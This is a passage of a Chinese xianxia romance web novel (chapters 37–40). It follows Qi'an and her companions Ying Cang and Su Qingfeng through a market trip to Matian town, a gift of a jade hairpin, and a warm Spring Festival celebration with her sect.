“喂喂喂。”来财慌了,他开始扭动身子,“你什么意思?”
“放我下来。”
“你不会是因为我吃了内丹才生气的吧。”
“你放在我面前,我以为是给我的。”
......
祈安闷头一路走到了湖边,看着平静的湖面,没有下一步的动作。
来财仍旧倒挂着,它心惊胆战地看着祈安:她不会真的要把我干掉吧...
早晨的湖边还是有点冷,更不要说眼下是冬天。
祈安脚底踩着软泥,深呼吸了几次。
冷风从她鼻腔里灌进去,又干又涩,带着些泥土气和湖里独有的腥味儿。
她承认,自己一开始知道时,确实是气愤的。她并不小气,可这妖丹对她意义不同,算是自己通过战斗来获取的第一个东西。
就这样被不声不响地吃掉。
就算来财是无意的,她心里也仍旧不舒服。
本来她是准备把它丢回湖里的,可是真的到了这湖前,祈安便知道自己下不去手。她把来财提到和自己眼睛一样的高度:“你想回去吗?”
来财眼冒金星,但还是果断地摇头。
这湖里他住了千年了,好不容易出来了怎么会回去。
来财大言不惭道:“我怕水,回去会淹死。”
祈安被这无厘头的话逗笑了,嘴上倒还是不依不饶:“淹死你刚好。”
但脚下已经在往回走了。
和一只龟生气,也确实犯不着。
刚回落霞宫路过应苍屋子时,看到他的窗户正开着,祈安突然冒出个念头。她趴在窗口,正巧看到应苍在收拾床铺:
“早哇。”
应苍闻声回头,就看到祈安站在窗前。手里,拎着一只倒着的乌龟。他微微一怔,还是第一次看到,有人敢这么对待玄武龟的。
“你这是?”
祈安晃晃来财:“这龟给你养几天,接好了。”
嗖的一下,来财以抛物线的形式飞向了应苍。
“啊啊啊啊快接住我。”
应苍嫌弃他龟壳上全是青苔,扯了块布兜住了来财。
祈安见人龟已经汇合,挥挥手:“你好好养,过几天我来接他。”
刚转身,就迎面撞上了宿清风。
宿清风满眼疲倦,风尘仆仆地从外面回来。他看到祈安后,露出了这段时间的第一个笑容:
“姐姐,我回来陪你过新年。”
37.三个人
过年?修真界也过年?
祈安还是第一次听说,整个落霞宫安安静静平平淡淡的,完全没有过年的氛围。
不过比过年更让祈安的惊讶的,是宿清风。
一段时间不见,他整个人状态比之前又差了。
脸被晒得黑黝黝,嘴唇干裂,身上的衣服也老旧的不成样子,哪里还有一丁点宿家公子的样子。
那双明亮的眼睛,也变得黯淡无光。
短时间里能让一个人状态变化这么大,很有可能发生了让他足以改变认知的事情。
祈安试图从宿清风的脸上再发现些什么,看了几秒之后恍然觉得自己这样并不礼貌。她理好被吹乱的发,想了想只问了一句话:
“冷吗?”
风有些大,宿清风身上的衣服在这萧瑟的早晨显得太单薄了。
宿清风明显一愣,他没料到祈安会问他冷不冷。出去的这段时日,手已经生了冻疮,宿清风局促地搓了搓手,把指关节变粗了的手指藏在了袖子里:
朝祈安粲然一笑:“不冷,我强壮着呢。”
祈安扫过他袖口鼓鼓囊囊的位置,莫名想笑。
小孩儿总喜欢嘴硬,明明冷得要打哆嗦了,却还是装作什么事都没有的样子。
她也不拆穿:“你不冷,我有点冷。”
祈安打开了自己的房门:“要不进来说?”
再不进来,估计要冻坏了。
宿清风心头一荡。
这还是第一次祈安邀请他去房里。
“可、可以吗?”
“这有什么?”祈安毫不在意,“进来坐会呗,不然你让我冻着在外面和你说话啊?”
“我不是这个意思。”
宿清风连连解释,抬腿刚要迈进去,却看到了祈安的房里收拾得干净整洁,地板更是光洁如新。
他看看自己满是泥渍的鞋底,停下了动作。
宿清风:“我突然有点困了,先回去睡一觉。等我醒来再来找你,可以吗?”
“...祈安姐姐。”
“可以呀。”祈安有些疑惑,怎么一段时间不见,说话越来越小心翼翼的了,“你好好休息,这次回来多久?”
宿清风听到这话,看着祈安久久没有作声。
良久后,才扯扯唇,露出一抹苦笑:“不走了。”
“再也不走了?”
宿清风点头:“嗯,不走了。”
*
宿清风这一睡,就睡到了傍晚。他坐在床边,赤足踩在地上,才微微有些真的回了落霞宫的实感。
他打了满满一木桶水,将自己从头到脚清洗一遍。从包袱里拿出了唯一一身干净的衣服——那身一直没舍得穿、只等见到祈安再穿的干净衣服。
宿清风将自己拾掇干净,连饭也没打算吃,就匆匆跑去找祈安。
敲了半天门,祈安没出来,反倒是引出了隔壁的应苍。
“找祈安?”
宿清风惊讶地发现,自己看到应苍竟然没有了先前的抵触感。也许这段时间发生了太多的事情,让他觉得连应苍都可爱了起来。
他主动走向应苍:“嗯,她不在吗?”
应苍站在台阶上,垂眼看着台阶下的宿清风。
这样的一张脸,真的是宿家人吗?似乎少了些奸诈狠毒的味道,让他还有些不习惯。
应苍淡淡地说道:“她出去了。”
“那你知道她去哪了吗?”
“不知道。”应苍摇头。
“好吧。”宿清风有些失落,神色怏怏地往回走。走了几步又顿住,他转身看向了应苍:“苍哥,那你呢?”
应苍被这声苍哥叫的有些猝不及防,还是第一次见到宿清风在没有祈安的时候这么乖地叫他。
“你有时间吗?”
“怎么?”
少年看着远处渐落的夕阳,双眼没了焦点。他脸上的笑意像是冬日里的太阳,明明也发出着光,却感受不到什么温度:“没什么,想找个人聊聊天。你要是没时间就......”
“走吧。”
宿清风身形一滞,但很快跟了上去。
两人一路走着,没人说话,但都默契地往一个地方走去。
九寿溪口。
祈安经常去的地方。
宿清风点燃了一团木柴,摇晃的火光映在两个人脸上。虽然是他把应苍叫出来的,但自己久久没有说话。
“下次什么时候走?”应苍问。
宿清风有些惊讶,应苍居然和祈安问同样的问题。他无奈地摇摇头:“不走了。”
“不走了?”
应苍搅动柴火的手一顿。凌渊和他说过,宿家正在配合青霄宗一起搜查抓捕他,宿清风之前出去就是为了这事。
怎么突然不用去了?
他往火堆里添了点柴,火星被溅了起来,故作随意地问道:“凌阳找到了?”
宿清风没有看他,声音缥缈:“估计快了吧。”
言语里全都是对这事情的毫不在意。
应苍敏锐地察觉到,宿清风的状态不对。可能是年纪小的孩子和家里闹了矛盾吧,年轻的男孩子总会经历这样的事情。
他没再追问。
自己已经恢复了九成的功力,哪怕现在青霄宗的人就在他面前,也没什么可怕的。应苍换了个自己感兴趣的问题:
“你喜欢祈安?”
宿清风丝毫不回避,他爽快地承认:“嗯。”
“什么原因?”
“一种感觉。”宿清风笑笑,“很新奇的感觉,我看到她的第一眼,就很喜欢。”
他转过头来对着应苍,一双眼睛亮而坚定:“你知道吗?那天我路过这里,看到祈安姐姐真的出现在我眼前时,心情有多激动吗?我都不敢相信,居然真的见到她了。虽然我从一开始就打定主意要找到她,可没想到这一天来的这么快。”
宿清风将双手枕在脑后,仰躺在枯草上:“一定是遇到她太幸运了,最近我才会......”
后面的话语吞在了沉默之中,宿清风没有再继续,应苍也对那些兴趣不大。
宿清风反客为主:“你呢?”
“我?”
“你喜欢祈安姐姐吗?”
“我——”
“宿清风!!!”
远处突然传来了祈安的声音,吓得宿清风连忙爬起来,朝应苍比了个噤声的动作:“刚才我说的话可别告诉祈安姐姐,我还没准备让她知道。”
说完后又慌乱地爬起,结结巴巴地应道:“我我我在这.
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..”
转眼间祈安已经到了他们二人面前,宿清风有些心虚地低下头。明明没做什么错事,但他对祈安还是莫名地害怕。
“怎么醒了不告诉我?”
祈安语气有些凶,还带了些埋怨。
宿清风委屈巴巴道:“我醒来就去找你了,苍哥和我说你出去了,所以我才和他一块来这里的。”
一见他这副模样,祈安马上心软了。她刚听说宿清风和应苍出去后,担心他又像之前那样故意找茬,万一应苍被他真的惹恼了把他修理一顿,那要是受伤了宿家不得找上门来。
结果一来这里看两人氛围好像还行,心上的石头终于落地,声音放缓,问道:“还没吃饭吧。”
“没~”
祈安瞟了宿清风一眼,又是这一幅小狗的模样,声音又柔了几分:“回去吃饭吧,早就做好了。”
宿清风眼睛一亮:“是你自己做的吗祈安姐姐?”
“嗯。”
祈安目不斜视,走在前面,没看到身后宿清风那一脸得意的模样。
宿清风和应苍并排走着,他用胳膊肘轻轻碰了下应苍,朝他挑挑眉,用口型说道:亲~手~做~的~
应苍突然有些后悔,自己刚才真不应该答应他一起聊天的请求。
*
宿清风把一盆菜都吃的干干净净,碗上沾了些菜留下的渣滓,他也用水涮着喝了。
一餐饭下来,饭碗干干净净,就像没用过一般。
祈安被宿清风的饭量震惊到,果然还在长身体的小孩儿就是能吃。
她竖起了大拇指:牛*
“什么意思?”
“就是夸你很厉害。”
听到这话的宿清风,恨不得自己长一条尾巴,随时随地来展示自己的开心。他又用手指戳了戳应苍:“听到没,祈安姐姐夸我厉害。”
应苍一阵无语,宿家少主如此喜形于色,难道是这些年日子都过得太好了?这么基本的行事方式都没有去教。
祈安轻轻拍了宿清风一巴掌:“少贫嘴。”
顿了顿又继续说道:“我明天要去麻天镇买些东西,你要一起去吗?”
“去呀去呀,”宿清风立马兴奋起来,“为什么不去。”
“苍哥,你去不去?”
祈安压根没觉得应苍会一起去,毕竟他看上去也不是喜欢热闹和麻烦的人。
没想到应苍的回答出乎意料:“一起吧。”
“好!那就说定了!”
宿清风突然激动起来,他也顾不上是否雅观,撩起下摆,拿起根弓箭就在地上划拉着:
“这是麻天镇的入口,这里就是个集市,我之前还在那买过东西。我们可以先到这个地方买点糕点,然后再去这里,买一些熏肉......”
祈安被宿清风的规划力震惊到。
她一向就是想到哪做到哪,没想到在这里遇到了一个顶级J人。
和应苍一直听了大半个时辰,宿清风终于停下了:
“祈安姐姐,苍哥,你们觉得这样子可不可以。”
祈安面露尴尬,打击的话她说不出口,违心的话也说不出口。
在她沉默之时,应苍朝宿清风伸出了大拇指,半晌后,缓缓开口:
“牛*”
38.麻天镇
翌日,落霞宫还笼罩在雾气中,祈安就醒了。她换上一身轻便的衣裙,发间别一支木簪,将头发盘起,今日要去麻天镇,散着头发不太方便。
推开门后,意外地发现应苍和宿清风都已经等在外面了。
应苍一袭玄衣,神色淡然,给微凉的早晨更添几分潮意。
宿清风则全然不同。淡蓝色的衣袍在堆叠着雾的清晨格外显眼,头发束在脑后,整个人精神了许多。
“祈安姐姐,可以出发了吗?我和苍哥都收拾好啦!”
应苍微微颔首,算是认同。
祈安狐疑地在他们二人身上扫来扫去:他们什么时候变得这么要好了?翻开包袱又数了一遍里面的灵石,确认钱带够后,说:“走吧。”
宿清风一听祈安说可以动身了,就像一只听到命令的小狗一般,冲了出去:“我先去把灵车开过来。”
... ...
好久不见的灵车,居然又出现了。
落霞宫距离麻天镇实际上并不远,但三个人只有一天的时间,还是选择了乘车出行。
灵车在一片树林间停了下来。
宿清风:“没多远了,我们走过去。”
“从这条小路走,大概一炷香的功夫就能到麻天镇的正门。那里每天早上都有新鲜的蔬菜水果,我们可以先买些容易保存的...”
祈安听着他滔滔不绝,忍不住轻笑:“你记得这么清楚,以前常来吗?”
宿清风顿了顿,眼神有一瞬间的恍惚,随即又扬起笑容:“嗯,以前...经常来。”
应苍瞥了他一眼:这麻天镇离宿家相距甚远,为何宿清风会常在此处出现?
他按下心头疑问,暗中观察着宿清风的表现。
果然如他所说,约莫一炷香的功夫后,麻天镇的轮廓渐渐显现。
镇子依山而建,镇口立着一座古朴的石牌坊,上面刻着“麻天镇”三个大字。
一眼望去,商铺青瓦白墙,屋檐下个个都挂着红灯笼。还未进入镇子,就已经能听到里面传来的喧闹人声。
“这么热闹?!”祈安有些惊讶,落霞宫与这里相比简直天壤之别。
宿清风语气里略带骄傲:“当然!这里虽然修行者不多,也没什么厉害的人物。但民风淳朴,邻里之间相处和睦,镇上的居民几乎都相互认识。”
应苍扫了一眼眼前的场景,淡淡地问了句:“你有熟识的人吗?我们今日买的东西可能会有些多,路上不方便携带的,可以暂存在别人家里。”
“额...”宿清风面露难色,“有是有...”
可是他们不认识现在的我。
祈安看得出宿清风有些为难,立马替他解围:“不用麻烦别人,我们自己拿着就好。”
她侧身让开:“宿公子,今天我可就靠你了。”
宿清风闻言立刻挺直了腰板:“放心吧祈安姐姐!跟我来!”
他率先踏入热闹的街道,街上叫卖声、牛羊声和孩童的嬉笑声不绝于耳。
祈安发现,宿清风的对这里的街道布局、摊位特色都异常熟悉,简直像走在自家后院一般。
“我们先去李记糕点铺,”宿清风回头,眼睛亮晶晶的,“他家的桂花糕和芝麻糖是一绝,每天出炉没多久就卖光,得赶早。”
“好好好,冲冲冲冲!”祈安整个人格外兴奋,这是她来落霞宫半年来,第一次出来赶!大!集!
她就像刚被放出来的鸟儿一般,一会儿抚弄着地上的花,一会儿逗一下街边的狗,就连路过的牛,她也会冲着它哞哞叫一番。
应苍默不作声地跟在祈安身侧,看似随意,实则巧妙地为她隔开了拥挤的人流。清晨集市上人群络绎不绝,偶尔还有牲畜经过,但祈安身边始终有着空余的地方。
三人一同到了糕点铺,果然如宿清风所说,铺前已经排起了小队,空气中荡漾着甜香和刚出炉面点的热气。
“祈安姐姐,你就在这里等着!”宿清风挡住了祈安的身子,“那里人好多,挤来挤去的,我和苍哥去排就好。”
说罢就去拉应苍的胳膊:“走,苍哥,一起去。”
应苍脚下没动:“这里人有点多,我留在这陪祈安,你去买就好。”
宿清风觉得应苍确实说的有道理,便松开了手:“那我去买了,你保护好祈安姐姐。”
应苍叫住了他:“清风。”
递给了宿清风一个钱袋:“拿着这个去吧。”
宿清风一愣,犹豫之间还是接下了:“谢谢苍哥。”没有留意到应苍眼里闪过的疑惑。
他迅速站到了队伍末尾,还不忘回头朝祈安笑笑。
祈安和应苍站在稍远一点人少的地方等待,祈安望着宿清风在队伍中探头探脑的模样,不禁莞尔。
“他倒是熟门熟路。”应苍淡淡地评论道,语气听不出情绪。
祈安点头:“是啊,还挺接地气的,小孩儿怪可爱的。”
“可爱?”应苍不解,“哪里可爱?”
“哪里都可爱啊。”祈安没有看应苍,仍旧盯着队伍里的宿清风,眼眸弯弯,“一个吃穿不愁的世家公子把糕点当宝贝,看上去咋咋呼呼其实一戳就漏气,心里想什么脸上就表现什么,这不可爱吗?”
呵。
应苍觉得自己心里好似有股气堵着一般,冷声询问:“你喜欢这种的?”
“喜欢啊。”祈安脱口而出,“真诚小狗谁都喜欢,你不喜欢吗?”
“不喜欢。”
应苍说得干脆:“我喜欢聪明人。”
祈安朝他撇撇嘴:“切,没眼光。”
她话音刚落,宿清风便捧着热腾腾的油纸包跑了回来,额角带着细汗,笑容却比晨光还亮:“买到了!刚出炉的,祈安姐姐快尝尝!”
他先小心地拈起一块桂花糕递给祈安,然后又自然地拿起另一块,犹豫了一下,还是递向应苍,“苍哥,你也试试?”
应苍的目光在那块递到面前的糕点上停留一瞬,又抬眸看了看宿清风那双写满“快夸我快夸我”的眼睛——确实像祈安形容的那样,心思简单,一览无余。
“我喜欢啊。”“切
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,没眼光。”
祈安的话回荡在他耳边,原本即将伸出的手又收了回去:“我不喜欢甜食。”
“啊~”宿清风的声音里满是遗憾, “苍哥要不你尝一下?这家店真的很好吃。”
“他不会吃的。”祈安从宿清风接过了那块桂花糕,“应苍有洁癖,不吃别人捏过的东西的。我没有,给我吃。”
宿清风恍然大悟:“原来如此,那你吃吧姐姐。”
宿清风把糕点递给了祈安,应苍的目光落在二人的微微擦过的指尖上。
祈安小口地咬着桂花糕,桂花糕入口的瞬间,甜糯的滋味在舌尖化开。米糕蒸得极好,柔软中带着恰到好处的韧性,牙齿陷进去时能感受到轻微的阻力,随即是温润的米香弥漫开来。
她满足地眯起眼,由衷感叹道:“真得太好吃了!”
祈安吃的尽兴,完全没留意到身旁人逐渐降低的气压,催促着宿清风继续往前。
一整个上午,两人流连于糖果铺、干果摊、糖画屋前,祈安几乎几乎尝遍了宿清风推荐的所有特色点心。
祈安和宿清风有说有笑,应苍安静地跟在身后,胸里持续地泛开一种酸涩的窒闷,像是一壶冷水被放在文火上慢慢煎熬,表面平静无波,内里却早已滚沸,蒸汽顶得壶盖微微作响,却又被死死压住,无处宣泄。
*
午时将近,集市喧嚣稍歇。三人去到了一家临河的酒肆,暂时歇歇脚。
酒肆干净雅致,窗外流水潺潺,垂柳拂岸。
“这家的清蒸鲈鱼和桂花酿是一绝!”宿清风替祈安拉开临窗的竹椅,招呼着祈安,“坐这里,风景最好!”
祈安笑着道谢。
宿清风见祈安坐下后,也拉开她身旁的椅子,还没有所行动,一只大手伸了过来:“谢谢。”
应苍在宿清风惊讶的视线里,悠悠坐下,指着对面的位置,说道:“那位置临窗,想必景致不错,清风累了一天了,就坐在那里吧。”
宿清风本想挨着祈安坐,正要争辩,却听到祈安说:
“确实你都累了一上午了,赶快坐下歇歇。”
“好吧。”宿清风不情不愿地走到了对面,撅着嘴在想应苍到底是不是故意的。
祈安喊道:“掌柜的!点菜!”
“客官,您吃点什么?我们这里招牌有醋烹鹅、煨牛腱子肉、清蒸鲈鱼、八宝饭,还有窖藏十年的桂花酿。”
“醋烹鹅好吃!”宿清风立马推荐道。
祈安看他一脸期盼的神色,便点了醋烹鹅,外带清炒栀子花、白切鸡、野笋炒肉等几道小菜。
掌柜提醒道:“客官,这些足够了。”
“嗯。”祈安继续扫了一眼菜单,“再来一份清蒸鲈鱼和碧螺虾仁。”
“我们三个人肯定吃不完,后面两道——”
祈安没有听宿清风的建议,看着窗外的风景,随口说道:“有人爱吃。”
应苍原本敲击桌面的指节突然停下,他朝祈安望过去,只看得到一抹背影。
原来,她还记着。
39.过春节
菜陆续上桌,蒸腾的热气裹挟着诱人的香气扑面而来。
醋烹鹅色泽金黄,酸香扑鼻;清炒栀子清香宜人;野笋炒肉鲜嫩脆爽。
最后上桌的是清蒸鲈鱼和碧螺虾仁,被祈安特意放在了靠近应苍的位置。她朝宿清风说道:“多吃些,回宗门可就尝不到这般手艺了。”
宿清风一看到醋烹鹅眼睛就移不开视线,拿起干净的筷子,一招釜底抽薪,直接把鹅腿夹到了祈安的碗里:“祈安姐姐,你尝尝这个。”
盘中还剩了另外一只腿,宿清风看着直吞口水,但他犹豫片刻,还是决定去夹鹅翅。
祈安疑惑问道:“怎么不吃鹅腿?”
“啊——我——”宿清风支支吾吾,终究说不出口是想留给应苍,只得扯了个谎,“我不太爱吃腿肉”
“哦。”祈安点点头,专心啃起碗中的鹅腿,“那这两个鹅翅都归你吧。”
“应苍不吃鹅肉,我吃个腿就够了。”
“苍哥不吃鹅肉???”宿清风惊讶地睁大眼睛。
祈安嘴里满是食物,含含糊糊地说:“嗯。”
宿清风顿时后悔不迭,早知道这样,他刚才还装什么装啊。看着碗里那只孤零零的鹅翅,又瞥了一眼盘中那无人问津、散发着诱人光泽的鹅腿,心里的小人儿已经开始捶胸顿足,艰难地咽了下口水,低头去啃干瘪的鹅翅。
鹅翅固然也好吃,肉质紧实,酸香入味,可……那可是肥美的鹅腿啊!他心里泪流成河。
宿清风因惦记着那只鹅腿而闷闷不乐;应苍本就话少,自然不会主动开口;祈安则是许久未尝到这般丰盛佳肴,全神贯注于眼前美食。
一餐饭下来,整个桌上几乎无人说话。
许是桌上有些安静,应苍朝祈安看过去,发现她腮帮子塞得鼓鼓囊囊,像只囤食的小松鼠。当即垂下眼帘,掩去眸中那丝极淡的的笑意。
祈安饶是再嘴馋,也只有一个胃。看着面前剩下的菜肴,将酒肆里跑堂的又喊了过来:“这些都帮我装好吧。”
“还有,鹅、牛腱子肉、鲈鱼,这个鸡、兔子,这边的青菜,都给我再来一份,全都装好。”
宿清风诧异道:“怎么又要加菜?”
“带回去给师父和师兄们尝尝。”
“我们还剩下很多,这些应该够了吧。”
“这些不行,”祈安正色道,“这些我们都吃过了。”
宿清风听祈安这么说,才明白她的用意,立马噤声,坐在旁边乖乖地等着酒肆备菜。
跑堂的伙计手脚麻利地将祈安点名要的菜肴一一打包好,又额外用油纸仔细包了几层,防止汤汁渗出。
三人提着大包小包的吃食走出酒肆,冬日午后的阳光刚刚好,给人身上镀上一层暖意,洒在青石板路上,暖洋洋的。
集市经过午间的短暂休憩,又重新热闹起来。
“接下来去哪?”祈安深吸一口带着食物香气和阳光味道的空气,心情颇好地问道。
宿清风立刻重新扮演起向导的角色:“买年货!镇子西头的市集年货最齐全了!”
他率先引路,步伐轻快。
祈安和应苍跟在他身后。
正如宿清风所说,越往西走,过年的气氛就越发浓厚。
沿途店铺和摊位上,红彤彤的春联、寓意吉祥的年画、各式各样的剪纸窗花琳琅满目。空气中弥漫着炒货的焦香、糖瓜的甜腻以及炮仗特有的火药味。
宿清风如鱼得水,在各个摊位间穿梭,熟稔地推荐:
“这家店的蜜供和糖瓜粘牙又香甜,师父肯定喜欢!”
“那边的干货铺,香菇、木耳、红枣都是山里来的,品相极好。”
“祈安姐姐,你看这红纸,多正!写春联肯定好看!”
“苍哥,苍哥,你看这个烟花,据说能喷三丈高!”
他兴致高昂,几乎看到什么有趣的都想买下来。
祈安也被这热烈的气氛感染,跟着他东瞧西看。
从落霞宫出来的时候祈安就叮嘱过,今日是给宗门置办过节所需的物品,所有的消费都由她来买单。
碰上不公道的价格,她都会和摊主据理力争,讲到自己能够接受的价位才买下来。
应苍目光扫过那些喧闹的摊位和兴高采烈的人群,神色虽依旧清淡,但不自觉间眉头渐渐舒展开。
他很少有购物的体验,以前族内的所有物件都由专人采购,更不要说如今像祈安这样一块灵石都要和摊主“争论”半天了。
宿清风和应苍一样,对于讲价一事毫无经验,每次只能跟在祈安身后看她高谈阔论,在需要他的时接过她手里沉甸甸的货物。
有宿清风这个“活地图”和“品鉴师”在,采购的过程顺利而迅速,祈安买了不少干货、糖果,又精心挑选了几刀质地不错的红纸和几支新毛笔,打算回去让师兄们写春联。还添置了一些新的碗筷杯盏、寓意吉祥的窗花剪纸,还有两串长长的、噼啪作响的红鞭炮,被宿清风宝贝似的抱在怀里。
三人手里都提满了东西,尤其是应苍,几乎成了移动的货架,整个臂膀上都挂满了零落的袋子。
苍龙少主被人这样使唤,应该是破天荒的头一次。祈安看着应苍略显狼狈的样子,浮起一丝笑容:“差不多了吧?”
宿清风环顾一下几乎拿不下的东西,用力点头:“够了够了,再买灵车都要装不下啦!”
应苍也微微颔首:“走吧,该回了。”
三人转身,迎着夕阳,朝着镇口的方向走去,身后是麻天镇愈发喧嚣热闹的年末市集,红彤彤的灯笼次第亮起,祈安最后又看了一眼那一抹火红,眼里神色不明,喃喃道:
“要过年了。”
*
时近岁末,距离春节只有一天。
清虚不爱热闹,所以每年这个时候落霞宫里都只是聚在一起吃个饭,就草草结束。
祈安倒是个把春节看得格外重要的人,她好说歹说说服了清虚,自告奋勇地揽下了筹划落霞宫第一届春节的重任。
一大早,祈安就开始张罗起来。
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她先是翻出半个月前从麻天镇采购回的一大堆物事——红艳艳的春联纸、金光闪闪的福字剪纸、各式各样的吉祥窗花,还有好几串沉甸甸的干辣椒和玉米棒子。
“小师妹——”蔺远的声音远远传来,“我们来帮忙了。”
吴无推着他来到了院内,蔺远手里拎着不知何时准备好的浆糊桶,笑容爽朗:“我和老五今天贴春联,我来刷浆糊,老五来贴。”
祈安也不拒绝蔺远,直接塞了一包春联到他怀里,打趣道:“今年的春联可就全靠两位师兄了,你是我们的春联大将!”
正说着,易为春带着剩下的几个师兄也来了。本来宽敞的院子突然显得有些拥挤,人声嘈杂。
宿清风听到外面的动静,像只被惊动的雀儿般从厢房蹦了出来,脸上还带着刚睡醒的惺忪,但眼睛已然亮起:“要布置了吗?祈安姐姐,我来帮你!贴窗花我最在行了!”他自告奋勇地拿起一叠精巧的窗花,跃跃欲试。
应苍最后才从廊柱后转出身形,他没有往前去,只是静立一旁,目光始终落在那抹雀跃的身形上。
祈安俨然成了总指挥,她叉着腰,开始分派任务:“大师兄,你字最好,春联和福字就交给你和三师兄啦!”
“二师兄和五师兄,你们就负责贴春联和窗花!”
“清风你和四师兄一起去挂鞭炮和灯笼。”
“我来负责打扫院子!”
“那我呢?”
清冷的声音传来,祈安这才发现不远处还站着一个人。她脸上一红,居然把应苍忘记了,现在也没什么工作可以安排给他,想了想试探性地问了句:“要不你和我打扫房间?”
刚说出口,就看到应苍面色一顿。他犹豫片刻,还是点点头。
落霞宫很快便沉浸在一片忙碌的喜悦中。易为春凝神挥毫,笔走龙蛇,一个个饱满遒劲的字落在红纸上;院子里此起彼伏地响着“左边高一点,再高一点!”“哎对!正了正了!”;一个个灯笼被高高挂起,窗花也依次附上了窗户。
祈安脸颊红扑扑的,额角沁出细汗,抬眼想看看应苍怎么样,刚好看到他在扫把上绑了一圈白布。
坏了!这位少主有洁癖,难怪他刚才一脸不情愿。
祈安吐吐舌头,跑过去往他手心里塞了个东西,就当是道歉啦。
应苍低头看去,掌心里躺了块小小的芝麻糖,而这芝麻糖的主人早已跑远了。
*
日头西斜,落霞宫也彻底变了一副模样。
檐下挂起了一串串红灯笼和丰收的寓意物,门窗上贴满了吉祥的窗花和崭新的春联,连那棵老松树也挂上了长长的鞭炮,处处张灯结彩,红火而喜庆,驱散了山间的清寂,充满了暖融融的年节气息。
祈安站在院子中央,满意地看着自己的劳动成果,眼眸亮晶晶的。
一抹修长的身影悄然而至,将手里桃木盒子递到了祈安面前:“送你的。”
祈安惊讶地看着自己面前的应苍,他这是...送礼物来了?
40.玉兰簪
祈安低头看向应苍递来的桃木盒子。盒子古朴,表面光滑,带着淡淡的木质香气。她抬眸,问道:“送我的?”
“嗯。”应苍的声音似乎也染上了落日的昏黄色,“春节礼物。”
又补了一句:“上次在麻天镇买的。”
麻天镇?那不是半个月前了吗?当时没注意到他还买了东西。
祈安接过盒子,盒内静静躺着一支玉簪。
簪身是温润的白玉,质地细腻,光泽内敛。簪头被精心雕琢成含苞待放的玉兰花形状,花瓣层叠,线条流畅优美,仿佛能闻到清雅的香气。玉质纯净,几乎没有杂质。
形状是很漂亮,但看上去价格不菲。
祈安下意识地还给了应苍:“这个太贵重了,我不要。”
应苍背着手,没有接:“这是送你的。你当初救了我的命,和这个比起来,这玉簪不值一提。”
转过身,轻声说道:“谢谢。”
祈安有些意外应苍的回答。过了这么久,她早就把当时那事抛在脑后了。而且在古洞里,应苍其实也救了自己一命......
算了,下次再给他准备份礼物好了。
祈安这次没有扭捏,将盒子收进了怀里,歪着头大方地笑笑:“谢啦。”
*
春节当日,落霞宫里一片热闹的氛围。
火红是院里的主色调。
红的灯笼,红的鞭炮,红的窗花,还有笑红的脸。
祈安早就准备好了面团和馅料,今天的主线任务就是包饺子。馅料是灵猪肉混合着山间采来的鲜美荠菜调制而成的,还加入了少许提鲜的灵菌,香气扑鼻。
案板被抬到院子中央,众人围拢过来。祈安熟练地分发面团和擀面杖:“来来来,人人都要出力,不能偷懒哦。”
易为春和几位师兄倒是有些经验,挽起袖子,动作虽不算娴熟,但也像模像样。宿清风则完全是新手,看着面团和馅料手足无措,脸上沾了不少面粉,显得格外滑稽。
“清风,你的馅放太多啦!要漏了要漏了!”
“哈哈哈五师兄你包的怎么像个汤圆!”
“大师兄,你擀的皮子也太厚了,比清风脸皮都要厚了!”
院子里充满了欢声笑语,其乐融融。就连一向清冷的应苍,也被祈安塞了一小块面团。他微微蹙眉,看着手中柔软的面团,有些无从下手。祈安凑过去,耐心地示范:“就像这样,捏紧边缘就好……”
她的气息近在咫尺,发间的玉簪随着她的动作微微晃动。应苍的目光从面团移到她的侧脸,再落到那支玉簪上,眼神不自觉柔和下来。他学着祈安的样子,慢慢捏合手中的饺子,虽然形状略显古怪,但终究是成功了。
祈安看着他手中那个“独具特色”的饺子,忍不住噗嗤一笑,眼眸亮晶晶地望向他。应苍对上她的目光,微微一怔,随即极浅地弯了下唇角。
清虚不知何时也来到了廊下,看着院子里热闹非凡、徒弟们笑闹成一团的景象,平日里严肃的脸上也露出了舒缓的笑意。
饺子终于全部包好,虽然奇形怪状,但数量颇为壮观。祈安亲自下厨,将一部分饺子下锅煮沸,另一部分则按照习俗铺放在院中的竹匾上,寓意“压岁”。
当热气腾腾、白白胖胖的饺子被端上桌时,浓郁的香气瞬间弥漫开来。
祁安朝天大喊一声:“开饭啦!”
十个人围在桌前,清虚也破天荒的,和徒弟们聚在了一起。
外出历练的弟子,分享着在外的见闻。在宗门内的几人,也把一年里宗门内发生的大事小事通通讲一遍。
蔺远是茶话会的主力军。
“小师妹当时来的时候是大半夜,我们都睡了,我第二天才知道大师兄领回一个美女来。”
“应苍开始伤得那么重,我都没想到他能活过来。”
蔺远把手勾在了易为春的肩膀上:“大师兄那会我看他整天都和小师妹在一块,还以为他喜欢安安呢。”
“蔺远!”
“二师兄!”
祈安和易为春齐齐出声。
易为春耳根微红,一把拍开了蔺远的手:“别胡说。”
蔺远也不恼:“当时我是这么想的,后面我才发现,喜欢我们安安的,另有其人。”
此话一出,饭桌上突然陷入了诡异的宁静。
大家都默契地没有接话,让蔺远继续说下去。
应苍坐在暗处,原本松垮的身子突然坐直,手指轻敲着酒杯,视线从别处转到了蔺远的身上。
蔺远正好对上了应苍的视线,朝他挑了挑眉。
应苍看到他脸上的表情,眉心一跳,拿着酒杯的手渐渐收紧。
只听蔺远说道:“等宿清风这小子来了,我才知道大师兄之前对安安一看就没意思。你看看清风,人家整天把喜欢挂在嘴上,这才叫真的喜欢。”
祈安靠着火盆比较近,热气蒸得她脸有点发紧,喉咙也紧。直到蔺远说出宿清风的名字后,她才松了口气。
还好还好,二师兄没说出什么惊天动地让人尴尬的话。祈安抬眼偷偷看向应苍,见他神色不明,目无焦点,不知在想些什么。
而自己旁边的宿清风则一脸得意,毫不掩饰自己:
“二师兄你没说错!我就是喜欢祈安姐姐。”
“小孩子懂什么喜欢。”祈安一记飞眼,警告宿清风不要乱说话。
夹起一个饺子塞进了他嘴里:“饺子这么好吃,多吃几个。”
宿清风被饺子堵了嘴,只能鼓着腮帮子冲祈安眨巴眼睛,含糊地嘟囔着“就是喜欢”,惹得众人又是一阵大笑。
祈安脸上热意未退,忙举起酒杯:“别听他瞎说,喝酒喝酒!师傅珍藏的灵梅酿,我要了好久才要到的,今天必须要喝光光。”
醇香的酒液斟满杯盏,清虚也难得地没有阻拦弟子们闹腾,反而自己也小酌了几杯。
酒过三巡,桌上的话题越发天马行空,从修炼心得扯到山下小镇的八卦趣闻,笑声几乎要掀翻落霞宫的屋顶。
